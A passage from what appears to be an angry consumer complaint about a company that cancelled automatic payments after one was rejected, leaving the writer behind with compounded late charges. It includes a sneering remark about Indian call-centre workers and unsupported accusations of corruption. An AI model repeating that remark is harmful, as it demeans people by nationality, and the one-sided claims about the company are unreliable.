automatic payment was rejected, they cancel FUTURE automatic payments, so by the time the whole thing catches up, you're AT LEAST two months behind -- with COMPOUNDED LATE CHARGES. 4. You will also spend at least 2 hours on the phone, talking to most of the population of the subcontinent of India. A HORRIBLE, CORRUPT COMPANY THAT OUGHT TO BE RUN OUT OF BUSINESS. TOO BAD WE DON'T HAVE A GOVERNMENT ANYMORE!